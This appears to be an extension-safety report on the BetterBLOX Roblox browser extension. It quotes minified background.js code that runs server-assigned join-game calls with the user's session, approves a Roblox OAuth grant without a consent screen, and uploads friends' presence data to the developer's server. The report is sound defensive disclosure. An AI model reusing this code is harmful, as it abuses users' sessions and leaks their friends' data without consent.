Is BetterBLOX - Better Roblox Extension safe?
BetterBLOX is medium risk. Code analysis shows the extension asks api.betterroblox.com for tasks every minute and, when given one, calls Roblox join-game endpoints with your session and posts the results back.…
Who publishes itAllory Dante - 1 other listing from the same operator, none carrying a finding
Allory Dante - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 959 users between them, none of them carrying a finding.
Shared hosts - 6 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
BetterBlox runs server-assigned Roblox join-game lookups from your session
Code analysis shows the extension asks api.betterroblox.com for tasks every minute and, when given one, calls Roblox join-game endpoints with your session and posts the results back.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Static analysis
The BetterBlox server returns a task listing places and server IDs.
The extension calls Roblox join-game-instance for each server using your signed-in session.
Eight calls run in parallel, then results are POSTed back.
Task poll and server-task execution
Poll for a task
background.js const e = await fetch(`${H}/get-task`, { method: "GET", headers: { "X-Extension-Id": this.extensionId } }); if (!e.ok) return void this.scheduleNextCheck(); const t = await e.json();Join-game call per server
background.js const t = await fetch("https://gamejoin.roblox.com/v1/join-game-instance", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ placeId: e.placeId, gameId: e.serverId }) });Return results
background.js const t = await fetch(`${K}/submit-server-task`, { method: "POST", headers: { "Content-Type": "application/json", "X-Extension-Id": this.extensionId }, body: JSON.stringify(e) }); if (!t.ok) throw new Error(`Failed to submit server task: ${t.statusText}`);- Server ID3f9a1c2e-7b44-4d0e-9a51-0c6e2b7d18aa
The Roblox game server the task named.
- Place version1482
The game version reported by Roblox for that server.
- Datacenter IP128.116.99.3
The address of the game server's relay endpoint.
- Extension ID headeruser-1234567890
Ties each request to your Roblox account.
- api2.betterroblox.com
Issues tasks and receives submit-task and submit-server-task results.
- gamejoin.roblox.com
Roblox endpoint called with your session at the server's request.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
BetterBlox approves a Roblox OAuth login for itself using your signed-in session
Code analysis shows the extension posts a Roblox OAuth authorization with your cookies, with no consent screen, and sends the resulting code to api.betterroblox.com for a token.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Static analysis
The extension needs an auth token and has none stored or valid.
It approves a Roblox OAuth request as you and exchanges the code with its own server.
The redirect URI is localhost, so the code is read from the response, not a page.
Programmatic OAuth approval and code exchange
Authorization POST with CSRF token
background.js const i = (await fetch("https://apis.roblox.com/oauth/v1/authorizations", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ clientId: e, responseTypes: ["Code"], redirectUri: "http://localhost:4949/auth/callback", scopes: [{ scopeType: "openid", operations: ["read"] }, { scopeType: "profile", operations: ["read"] }], state: t, nonce: s, resourceInfos: [{ owner: { id: r, type: "User" }, resources: {} }] }) })).headers.get("x-csrf-token"); if (!i) throw new Error("Failed to get XSRF token from response headers"); return i }(a, t, s, o), l = await fetch("https://apis.roblox.com/oauth/v1/authorizations", { method: "POST", headers: { "Content-Type": "application/json",Code sent to api.betterroblox.com
background.js redirectUri: "http://localhost:4949/auth/callback", scopes: [{ scopeType: "openid", operations: ["read"] }, { scopeType: "profile", operations: ["read"] }], state: t, nonce: s, resourceInfos: [{ owner: { id: o, type: "User" }, resources: {} }] }) }), u = await l.json(); if (u.location) { const { code: e, state: t } = function(e) { try { const t = new URL(e); return {- Client ID1298491012038790056
The OAuth app that receives access to your Roblox profile.
- Scopesopenid:read, profile:read
Read access to your OpenID identity and profile.
- Redirect URIhttp://localhost:4949/auth/callback
Local address the code would normally return to.
- Resource owner1234567890
Your own Roblox user ID, read from your session.
- apis.roblox.com
Issues the OAuth code using your browser's Roblox cookies.
- api.betterroblox.com
Receives the code and state and returns the auth token.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
BetterBlox uploads your friends' online status and current game to its server
Code analysis shows the extension reads Roblox presence for you and your friends and POSTs user IDs, game IDs and place IDs to api2.betterroblox.com about once a minute.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You stay signed in to Roblox while friends play games.
The extension sends your friends' presence and game to its own server.
No prompt or setting gates the upload in the code reviewed.
Presence filter and upload in class R
Filter to friends and self, drop offline, dedupe
background.js if (this.shouldSkipServerSend()) return; const t = Object.values(e), s = await N.getFriendIds(), r = N.currentUserId ? parseInt(N.currentUserId) : null, i = t.filter(e => { const t = parseInt(e.userId); return t === r || s.includes(t) }); if (0 === i.length) return; const a = Date.now(), n = i.filter(e => { const { type: t, game: s } = x(e); if (0 === t) return !1; const r = this.lastSent.get(String(e.userId)), i = !r || r.type !== t || r.game !== s, n = r && a - r.at >= 18e4; return i || n }); if (0 === n.length) return;POST to the server
background.js async sendToServer(e) { this.isRequestInProgress = !0; try { const t = await fetch(P, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ presences: e }) });- Friend user ID1234567890
Identifies which of your friends is online.
- Presence type2
Whether the friend is online, in a game or in Studio.
- Place ID920587237
The game your friend is currently playing.
- Game instance ID3f9a1c2e-7b44-4d0e-9a51-0c6e2b7d18aa
The specific server your friend is on.
- api2.betterroblox.com
Receives the batch-presence POST with friend IDs and games.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 3.6.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on roblox.com
*://*.roblox.com/*
Read and change your data on rbxcdn.com
*://*.rbxcdn.com/*
Read and change your data on betterroblox.com
https://betterroblox.com/* and 1 more
Store data in your browser
storage
Store an unlimited amount of data in your browser
unlimitedStorage
Show you desktop notifications
notifications
Block and redirect the requests your browser makes
declarativeNetRequest
See the address and title of every tab you have open
tabs
Read and change cookies, including the ones that keep you signed in
cookies
Schedule its own background tasks
alarms
Keep running in the background while your browser is open
background